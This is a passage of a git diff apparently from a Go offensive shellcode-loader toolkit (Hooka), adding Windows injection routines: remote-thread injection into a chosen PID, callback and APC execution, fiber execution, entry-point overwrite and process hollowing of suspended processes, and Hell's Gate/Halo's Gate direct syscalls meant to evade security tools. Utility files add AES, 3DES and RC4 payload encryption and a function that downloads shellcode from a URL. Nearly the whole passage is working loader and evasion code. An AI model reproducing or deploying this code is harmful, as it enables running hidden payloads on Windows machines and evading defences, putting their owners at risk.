OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
CloseHandle := kernel32.NewProc("CloseHandle")
var pHandle uintptr
if pid == 0 {
pHandle, _, _ = GetCurrentProcess.Call()
} else {
pHandle, _, _ = OpenProcess.Call(
windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,
uintptr(0),
uintptr(pid),
)
}
addr, _, _ := VirtualAllocEx.Call(
uintptr(pHandle),
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
if addr == 0 {
return errors.New("VirtualAllocEx failed and returned 0")
}
WriteProcessMemory.Call(
uintptr(pHandle),
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
VirtualProtectEx.Call(
uintptr(pHandle),
addr,
uintptr(len(shellcode)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
CreateRemoteThreadEx.Call(
uintptr(pHandle),
0,
0,
addr,
0,
0,
0,
)
_, _, errCloseHandle := CloseHandle.Call(pHandle)
if errCloseHandle != nil {
return errCloseHandle
}
return nil
}
+92
View File
@@ -0,0 +1,92 @@
package shellcode
import (
"unsafe"
"golang.org/x/sys/windows"
"github.com/D3Ext/Hooka/evasion"
)
func EnumSystemLocales(shellcode []byte) error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory")
NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
var addr uintptr
regionsize := uintptr(len(shellcode))
r1, _, err := NtAllocateVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(&regionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if r1 != 0 {
return err
}
NtWriteVirtualMemory.Call(^uintptr(0), addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
r1, _, err = EnumSystemLocalesEx.Call(addr, 0, 0, 0)
if r1 == 0 {
return err
}
return nil
}
/*
Hell's Gate + Halo's Gate technique
*/
func EnumSystemLocalesHalos(shellcode []byte) error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
NtAllocateVirtualMemory, err := evasion.GetSysId("NtAllocateVirtualMemory")
if err != nil {
return err
}
NtWriteVirtualMemory, err := evasion.GetSysId("NtWriteVirtualMemory")
if err != nil {
return err
}
pHandle, _, _ := GetCurrentProcess.Call()
var addr uintptr
regionsize := uintptr(len(shellcode))
r1, err := evasion.Syscall(
NtAllocateVirtualMemory,
uintptr(pHandle),
uintptr(unsafe.Pointer(&addr)),
0,
uintptr(unsafe.Pointer(&regionsize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_EXECUTE_READWRITE,
)
if r1 != 0 {
return err
}
evasion.Syscall(
NtWriteVirtualMemory,
uintptr(pHandle),
addr,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
EnumSystemLocalesEx.Call(
addr,
0,
0,
0,
)
return nil
}
+43
View File
@@ -0,0 +1,43 @@
package shellcode
import (
"unsafe"
"golang.org/x/sys/windows"
)
func EtwpCreateEtwThread(shellcode []byte) error {
ntdll := windows.NewLazyDLL("ntdll.dll")
NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory")
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
NtWaitForSingleObject := ntdll.NewProc("NtWaitForSingleObject")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
var addr uintptr
regionsize := uintptr(len(shellcode))
r1, _, err := NtAllocateVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(&regionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if r1 != uintptr(windows.STATUS_SUCCESS) {
return err
}
RtlCopyMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), regionsize)
oldProtect := windows.PAGE_READWRITE
r2, _, err := NtProtectVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(&regionsize)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if r2 != 0 {
return err
}
thread, _, err := EtwpCreateEtwThread.Call(addr, uintptr(0))
if thread == 0 {
return err
}
r3, _, err := NtWaitForSingleObject.Call(thread, uintptr(0), 0xFFFFFFFF)
if r3 != 0 {
return err
}
return nil
}
+1 -55
View File
@@ -1,4 +1,4 @@
package core
package shellcode
/*
@@ -8,13 +8,6 @@ This package exports all windows struct which are used
import (
"unsafe"
"golang.org/x/sys/windows"
)
const (
ntdllpath = "C:\\Windows\\System32\\ntdll.dll"
kernel32path = "C:\\Windows\\System32\\kernel32.dll"
)
const (
@@ -111,28 +104,6 @@ type IMAGE_NT_HEADER struct {
OptionalHeader IMAGE_OPTIONAL_HEADER
}
type IMAGE_DOS_HEADER struct { // DOS .EXE header
E_magic uint16 // Magic number
E_cblp uint16 // Bytes on last page of file
E_cp uint16 // Pages in file
E_crlc uint16 // Relocations
E_cparhdr uint16 // Size of header in paragraphs
E_minalloc uint16 // Minimum extra paragraphs needed
E_maxalloc uint16 // Maximum extra paragraphs needed
E_ss uint16 // Initial (relative) SS value
E_sp uint16 // Initial SP value
E_csum uint16 // Checksum
E_ip uint16 // Initial IP value
E_cs uint16 // Initial (relative) CS value
E_lfarlc uint16 // File address of relocation table
E_ovno uint16 // Overlay number
E_res [4]uint16 // Reserved words
E_oemid uint16 // OEM identifier (for E_oeminfo)
E_oeminfo uint16 // OEM information; E_oemid specific
E_res2 [10]uint16 // Reserved words
E_lfanew uint16 // File address of new exe header
}
type PEB struct {
InheritedAddressSpace byte // BYTE 0
ReadImageFileExecOptions byte // BYTE 1
@@ -166,31 +137,6 @@ type PROCESS_BASIC_INFORMATION struct {
InheritedFromUniqueProcessID uintptr // PVOID
}
type ClientID struct {
UniqueProcess windows.Handle
UniqueThread windows.Handle
}
type imageExportDir struct {
_, _ uint32
_, _ uint16
Name uint32
Base uint32
NumberOfFunctions uint32
NumberOfNames uint32
AddressOfFunctions uint32
AddressOfNames uint32
AddressOfNameOrdinals uint32
}
type memStatusEx struct { // Auxiliary struct to retrieve total memory
dwLength uint32
dwMemoryLoad uint32
ullTotalPhys uint64
ullAvailPhys uint64
unused [5]uint64
}
type CLIENT_ID struct {
UniqueProcess uintptr
UniqueThread uintptr
+4 -27
View File
@@ -1,4 +1,4 @@
package core
package shellcode
/*
@@ -10,28 +10,19 @@ https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateFiber/main.go
import (
"errors"
"fmt"
"unsafe"
"golang.org/x/sys/windows"
)
const (
// MEM_COMMIT is a Windows constant used with Windows API calls
MEM_COMMIT = 0x1000
// MEM_RESERVE is a Windows constant used with Windows API calls
MEM_RESERVE = 0x2000
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
PAGE_EXECUTE_READ = 0x20
// PAGE_READWRITE is a Windows constant used with Windows API calls
PAGE_READWRITE = 0x04
)
func Fibers(shellcode []byte) error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
@@ -44,7 +35,6 @@ func Fibers(shellcode []byte) error {
fiberAddr, _, _ := ConvertThreadToFiber.Call() // Convert thread to fiber
// Allocate shellcode
addr, _, _ := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
@@ -56,7 +46,6 @@ func Fibers(shellcode []byte) error {
return errors.New("VirtualAlloc failed and returned 0")
}
// Copy shellcode to memory
RtlCopyMemory.Call(
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
@@ -64,7 +53,6 @@ func Fibers(shellcode []byte) error {
)
oldProtect := PAGE_READWRITE
// Change memory region to PAGE_EXECUTE_READ
VirtualProtect.Call(
addr,
uintptr(len(shellcode)),
@@ -72,22 +60,11 @@ func Fibers(shellcode []byte) error {
uintptr(unsafe.Pointer(&oldProtect)),
)
// Create fiber
fiber, _, _ := CreateFiber.Call(
0,
addr,
0,
)
fiber, _, _ := CreateFiber.Call(0, addr, 0)
_, _, errSwitchToFiber := SwitchToFiber.Call(fiber)
if errSwitchToFiber != nil {
fmt.Println("errSwitchToFiber", errSwitchToFiber.Error())
}
SwitchToFiber.Call(fiber)
_, _, errSwitchToFiber2 := SwitchToFiber.Call(fiberAddr)
if errSwitchToFiber2 != nil {
fmt.Println("errSwitchToFiber2", errSwitchToFiber2.Error())
}
SwitchToFiber.Call(fiberAddr)
return nil
}
+58
View File
@@ -0,0 +1,58 @@
package shellcode
import (
"encoding/binary"
"golang.org/x/sys/windows"
"unsafe"
)
type IMAGE_DOS_HEADER struct {
E_lfanew uint32
}
func NoRWX(shellcode []byte) error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
CreateProcess := kernel32.NewProc("CreateProcessW")
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
var info int32
var returnLength int32
var pbi windows.PROCESS_BASIC_INFORMATION
si:= &windows.StartupInfo{}
pi := &windows.ProcessInformation{}
cmd, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
if err != nil {
return err
}
CreateProcess.Call(0, uintptr(unsafe.Pointer(cmd)), 0, 0, 0, windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi)))
NtQueryInformationProcess.Call(uintptr(pi.Process), uintptr(info), uintptr(unsafe.Pointer(&pbi)), uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})), uintptr(unsafe.Pointer(&returnLength)))
pebOffset := uintptr(unsafe.Pointer(pbi.PebBaseAddress)) + 0x10
var imageBase uintptr = 0
ReadProcessMemory.Call(uintptr(pi.Process), pebOffset, uintptr(unsafe.Pointer(&imageBase)), 8, 0)
headersBuffer := make([]byte, 4096)
ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(unsafe.Pointer(&headersBuffer[0])), 4096, 0)
var dosHeader IMAGE_DOS_HEADER
dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase
WriteProcessMemory.Call(uintptr(pi.Process), codeEntry, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
ResumeThread.Call(uintptr(pi.Thread))
return nil
}
+143
View File
@@ -0,0 +1,143 @@
package shellcode
import (
"unsafe"
"github.com/D3Ext/Hooka/evasion"
"golang.org/x/sys/windows"
)
func NtCreateThreadEx(shellcode []byte, pid int) error {
ntdll := windows.NewLazyDLL("ntdll.dll")
kernel32 := windows.NewLazyDLL("kernel32.dll")
NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory")
NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
NtCreateThreadEx := ntdll.NewProc("NtCreateThreadEx")
NtWaitForSingleObject := ntdll.NewProc("NtWaitForSingleObject")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
OpenProcess := kernel32.NewProc("OpenProcess")
var pHandle uintptr
if pid == 0 {
pHandle, _, _ = GetCurrentProcess.Call()
} else {
pHandle, _, _ = OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, uintptr(0), uintptr(pid))
}
var addr uintptr
regionsize := uintptr(len(shellcode))
r1, _, err := NtAllocateVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(&regionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if r1 != 0 {
return err
}
NtWriteVirtualMemory.Call(uintptr(pHandle), addr, uintptr(unsafe.Pointer(&shellcode[0])), regionsize, 0)
var oldProtect uintptr
r2, _, err := NtProtectVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(&regionsize)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if r2 != 0 {
return err
}
var hhosthread uintptr
NtCreateThreadEx.Call(uintptr(unsafe.Pointer(&hhosthread)), 0x1FFFFF, 0, uintptr(pHandle), addr, 0, uintptr(0), 0, 0, 0, 0)
NtWaitForSingleObject.Call(hhosthread, uintptr(0), 0xFFFFFFFF)
return nil
}
/*
Hell's Gate + Halo's Gate technique
*/
func NtCreateThreadExHalos(shellcode []byte) error {
NtAllocateVirtualMemory, err := evasion.GetSysId("NtAllocateVirtualMemory")
if err != nil {
return err
}
NtWriteVirtualMemory, err := evasion.GetSysId("NtWriteVirtualMemory")
if err != nil {
return err
}
NtProtectVirtualMemory, err := evasion.GetSysId("NtProtectVirtualMemory")
if err != nil {
return err
}
NtCreateThreadEx, err := evasion.GetSysId("NtCreateThreadEx")
if err != nil {
return err
}
var addr uintptr
regionsize := uintptr(len(shellcode))
r1, err := evasion.Syscall(
NtAllocateVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&addr)),
0,
uintptr(unsafe.Pointer(&regionsize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
if r1 != 0 {
return err
}
evasion.Syscall(
NtWriteVirtualMemory,
uintptr(0xffffffffffffffff),
addr,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
var oldProtect uintptr
r2, err := evasion.Syscall(
NtProtectVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&addr)),
uintptr(unsafe.Pointer(&regionsize)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
if r2 != 0 {
return err
}
var hhosthread uintptr
r3, err := evasion.Syscall(
NtCreateThreadEx,
uintptr(unsafe.Pointer(&hhosthread)),
0x1FFFFF,
0,
uintptr(0xffffffffffffffff),
addr,
0,
uintptr(0),
0,
0,
0,
0,
)
windows.WaitForSingleObject(windows.Handle(hhosthread), 0xffffffff)
if r3 != 0 {
return err
}
return nil
}
+45
View File
@@ -0,0 +1,45 @@
package shellcode
import (
"unsafe"
"golang.org/x/sys/windows"
)
func NtQueueApcThreadEx(shellcode []byte) error {
const (
QUEUE_USER_APC_FLAGS_NONE = iota
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
QUEUE_USER_APC_FLGAS_MAX_VALUE
)
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
GetCurrentThread := kernel32.NewProc("GetCurrentThread")
NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory")
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")
var addr uintptr
regionsize := uintptr(len(shellcode))
r1, _, err := NtAllocateVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(&regionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if r1 != 0 {
return err
}
RtlCopyMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), regionsize)
oldProtect := windows.PAGE_READWRITE
r2, _, err := NtProtectVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(&regionsize)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if r2 != 0 {
return err
}
thread, _, _ := GetCurrentThread.Call()
NtQueueApcThreadEx.Call(thread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr(addr), 0, 0, 0)
return nil
}
+126
View File
@@ -0,0 +1,126 @@
package shellcode
import (
"unsafe"
"encoding/binary"
"golang.org/x/sys/windows"
)
type StartupInfoEx struct {
windows.StartupInfo
AttributeList *PROC_THREAD_ATTRIBUTE_LIST
}
type ProcessInformation struct {
Process uintptr
Thread uintptr
ProcessId uint32
ThreadId uint32
}
type PROC_THREAD_ATTRIBUTE_LIST struct {
dwFlags uint32
size uint64
count uint64
reserved uint64
unknown *uint64
entries []*PROC_THREAD_ATTRIBUTE_ENTRY
}
type PROC_THREAD_ATTRIBUTE_ENTRY struct {
attribute *uint32
cbSize uintptr
lpValue uintptr
}
type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
Flags uint32
}
func ProcessHollowing(shellcode []byte, proc string, blockdlls bool) error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
GetProcessHeap := kernel32.NewProc("GetProcessHeap")
HeapAlloc := kernel32.NewProc("HeapAlloc")
HeapFree := kernel32.NewProc("HeapFree")
InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList")
UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute")
CreateProcessA := kernel32.NewProc("CreateProcessA")
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
ZwQueryInformationProcess := ntdll.NewProc("ZwQueryInformationProcess")
var pbi PROCESS_BASIC_INFORMATION
var si StartupInfoEx
var pi ProcessInformation
if (blockdlls) {
procThreadAttributeSize := uintptr(0)
InitializeProcThreadAttributeList.Call(0, 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
procHeap, _, err := GetProcessHeap.Call()
if procHeap == 0 {
return err
}
attributeList, _, err := HeapAlloc.Call(procHeap, 0, procThreadAttributeSize)
if attributeList == 0 {
return err
}
defer HeapFree.Call(procHeap, 0, attributeList)
si.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
InitializeProcThreadAttributeList.Call(uintptr(unsafe.Pointer(si.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
mitigate := 0x20007
nonms := uintptr(0x100000000000|0x1000000000)
r, _, err := UpdateProcThreadAttribute.Call(uintptr(unsafe.Pointer(si.AttributeList)), 0, uintptr(mitigate), uintptr(unsafe.Pointer(&nonms)), uintptr(unsafe.Sizeof(nonms)), 0, 0)
if r == 0 {
return err
}
}
cmd := append([]byte(proc), byte(0))
si.Cb = uint32(unsafe.Sizeof(si))
r, _, err := CreateProcessA.Call(0, uintptr(unsafe.Pointer(&cmd[0])), 0, 0, 1, windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(&si)), uintptr(unsafe.Pointer(&pi)))
if r == 0 {
return err
}
var returnLength int32
pointerSize := unsafe.Sizeof(uintptr(0))
ZwQueryInformationProcess.Call(uintptr(pi.Process), 0, uintptr(unsafe.Pointer(&pbi)), pointerSize*6, uintptr(unsafe.Pointer(&returnLength)))
imageBaseAddress := pbi.PebBaseAddress + 0x10
addressBuffer := make([]byte, pointerSize)
var read uintptr
ReadProcessMemory.Call(uintptr(pi.Process), imageBaseAddress, uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
imageBaseValue := binary.LittleEndian.Uint64(addressBuffer)
addressBuffer = make([]byte, 0x200)
ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBaseValue), uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
lfaNewPos := addressBuffer[0x3c : 0x3c+0x4]
lfanew := binary.LittleEndian.Uint32(lfaNewPos)
entrypointOffset := lfanew + 0x28
entrypointOffsetPos := addressBuffer[entrypointOffset : entrypointOffset+0x4]
entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
entrypointAddress := imageBaseValue + uint64(entrypointRVA)
WriteProcessMemory.Call(uintptr(pi.Process), uintptr(entrypointAddress), uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
ResumeThread.Call(uintptr(pi.Thread))
return nil
}
@@ -1,9 +1,8 @@
package core
package shellcode
import (
"errors"
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
@@ -23,8 +22,8 @@ func QueueUserApc(shellcode []byte) error {
}
errCreateProcess := windows.CreateProcess(
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
syscall.StringToUTF16Ptr(""),
windows.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
windows.StringToUTF16Ptr(""),
nil,
nil,
true,
@@ -1,4 +1,4 @@
package core
package shellcode
import (
"unsafe"
@@ -1,4 +1,4 @@
package core
package shellcode
import (
"bytes"
+44
View File
@@ -0,0 +1,44 @@
package utils
import (
"crypto/cipher"
"crypto/des"
)
func TripleDesEncrypt(data, key []byte) ([]byte, error) {
block, err := des.NewTripleDESCipher(key)
if err != nil {
return nil, err
}
ciphertext := key
iv := ciphertext[:des.BlockSize]
origData := PKCS5Padding(data, block.BlockSize())
mode := cipher.NewCBCEncrypter(block, iv)
encrypted := make([]byte, len(origData))
mode.CryptBlocks(encrypted, origData)
return encrypted, nil
}
func TripleDesDecrypt(data, key []byte) ([]byte, error) {
block, err := des.NewTripleDESCipher(key)
if err != nil {
return nil, err
}
ciphertext := key
iv := ciphertext[:des.BlockSize]
decrypter := cipher.NewCBCDecrypter(block, iv)
decrypted := make([]byte, len(data))
decrypter.CryptBlocks(decrypted, data)
decrypted = PKCS5Trimming(decrypted)
return decrypted, nil
}
+67
View File
@@ -0,0 +1,67 @@
package utils
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"errors"
"bytes"
)
func AESEncrypt(plaintext []byte, iv []byte, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
if string(plaintext) == "" {
return nil, errors.New("string to encrypt is empty")
}
ecb := cipher.NewCBCEncrypter(block, iv)
content := []byte(plaintext)
content = PKCS5Padding(content, block.BlockSize())
crypted := make([]byte, len(content))
ecb.CryptBlocks(crypted, content)
return crypted, nil
}
func AESDecrypt(ciphertext []byte, iv []byte, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
if len(ciphertext) == 0 {
return nil, errors.New("ciphertext cannot be empty")
}
ecb := cipher.NewCBCDecrypter(block, iv)
decrypted := make([]byte, len(ciphertext))
ecb.CryptBlocks(decrypted, ciphertext)
return PKCS5Trimming(decrypted), nil
}
func GenerateIV() ([]byte, error) {
iv := make([]byte, aes.BlockSize)
_, err := rand.Read(iv)
if err != nil {
return nil, err
}
return iv, nil
}
func PKCS5Trimming(encrypt []byte) []byte {
padding := encrypt[len(encrypt)-1]
return encrypt[:len(encrypt)-int(padding)]
}
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
+24
View File
@@ -0,0 +1,24 @@
package utils
import (
"slices"
)
func AppendString(slice []string, str string) []string {
if (!slices.Contains(slice, str)) {
slice = append(slice, str)
}
return slice
}
func AppendSlice(slice, slice2 []string) []string {
for _, entry := range slice2 {
if (!slices.Contains(slice, entry)) {
slice = append(slice, entry)
}
}
return slice
}
+1 -10
View File
@@ -1,13 +1,4 @@
package core
/*
References:
All this functions are taken and lightly modified from the original gist, thanks to him
https://gist.github.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3
*/
package utils
import (
"encoding/binary"
+24
View File
@@ -0,0 +1,24 @@
package utils
import (
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"encoding/hex"
)
func Md5(src string) string {
hash := md5.Sum([]byte(src))
return hex.EncodeToString(hash[:])
}
func Sha1(src string) string {
hash := sha1.Sum([]byte(src))
return hex.EncodeToString(hash[:])
}
func Sha256(src string) string {
hash := sha256.Sum256([]byte(src))
return hex.EncodeToString(hash[:])
}
+87
View File
@@ -0,0 +1,87 @@
package utils
import (
"os"
"log"
"math"
"io"
"fmt"
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"io/ioutil"
)
func Entropy(file string) (float64, error) {
f, err := os.Open(file)
if err != nil {
return 0, err
}
defer f.Close()
contents, err := ioutil.ReadAll(f)
if err != nil {
return 0, err
}
freq := make(map[byte]int)
for _, b := range contents {
freq[b]++
}
totalBytes := len(contents)
probs := make(map[byte]float64)
for b, f := range freq {
probs[b] = float64(f) / float64(totalBytes)
}
entropy := 0.0
for _, p := range probs {
if p > 0 {
entropy -= p * math.Log2(p)
}
}
return entropy, nil
}
func CalculateSums(output_file string) (string, string, string, error) {
f1, err := os.Open(output_file)
if err != nil {
return "", "", "", err
}
defer f1.Close()
md5hash := md5.New()
_, err = io.Copy(md5hash, f1)
if err != nil {
return "", "", "", err
}
f2, err := os.Open(output_file)
if err != nil {
return "", "", "", err
}
defer f2.Close()
sha256hash := sha256.New()
_, err = io.Copy(sha256hash, f2)
if err != nil {
return "", "", "", err
}
f3, err := os.Open(output_file)
if err != nil {
return "", "", "", err
}
defer f3.Close()
sha1hash := sha1.New()
_, err = io.Copy(sha1hash, f3)
if err != nil {
log.Fatal(err)
}
return fmt.Sprintf("%x", md5hash.Sum(nil)), fmt.Sprintf("%x", sha1hash.Sum(nil)), fmt.Sprintf("%x", sha256hash.Sum(nil)), nil
}
+28
View File
@@ -0,0 +1,28 @@
package utils
import (
"golang.org/x/sys/windows"
)
func CheckHighPrivs() (bool, error) { // Function to check if current user has Administrator privileges
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid,
)
if err != nil {
return false, err
}
token := windows.Token(0)
member, err := token.IsMember(sid) // Check if is inside admin group
if err != nil {
return false, err
}
return member, nil // return true (means high privs) or false (means low privs)
}
+33
View File
@@ -0,0 +1,33 @@
package utils
import (
"math/rand"
"time"
)
// Generate a random integer between range
func RandomInt(min int, max int) int {
rand.Seed(time.Now().UnixNano())
rand_int := rand.Intn(max-min+1) + min
return rand_int
}
// Return random string based on an integer (length)
func RandomString(length int) string {
const charset = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
b := make([]byte, length)
for i := range b {
b[i] = charset[seededRand.Intn(len(charset))]
}
// Ensure the first character is not an integer
for b[0] >= '0' && b[0] <= '9' {
b[0] = charset[seededRand.Intn(len(charset))]
}
return string(b)
}
+27
View File
@@ -0,0 +1,27 @@
package utils
import (
"crypto/rc4"
)
func Rc4Encrypt(plaintext []byte, psk []byte) ([]byte, error) {
r, err := rc4.NewCipher(psk)
if err != nil {
return nil, err
}
dst := make([]byte, len(plaintext))
r.XORKeyStream(dst, plaintext)
return dst, nil
}
func Rc4Decrypt(ciphertext []byte, psk []byte) ([]byte, error) {
r, err := rc4.NewCipher(psk)
if err != nil {
return nil, err
}
src := make([]byte, len(ciphertext))
r.XORKeyStream(src, []byte(ciphertext))
return src, nil
}
+50
View File
@@ -0,0 +1,50 @@
package utils
import (
"net/http"
"io"
"io/ioutil"
"os"
)
func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode
req, err := http.NewRequest("GET", sc_url, nil)
if err != nil {
return nil, err
}
req.Header.Set("Accept", "application/x-www-form-urlencoded")
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
b, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
return b, nil
}
func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes
f, err := os.Open(file)
if err != nil {
return nil, err
}
defer f.Close()
shellcode_bytes, err := ioutil.ReadAll(f)
if err != nil {
return nil, err
}
return shellcode_bytes, nil
}
func CalcShellcode() []byte {
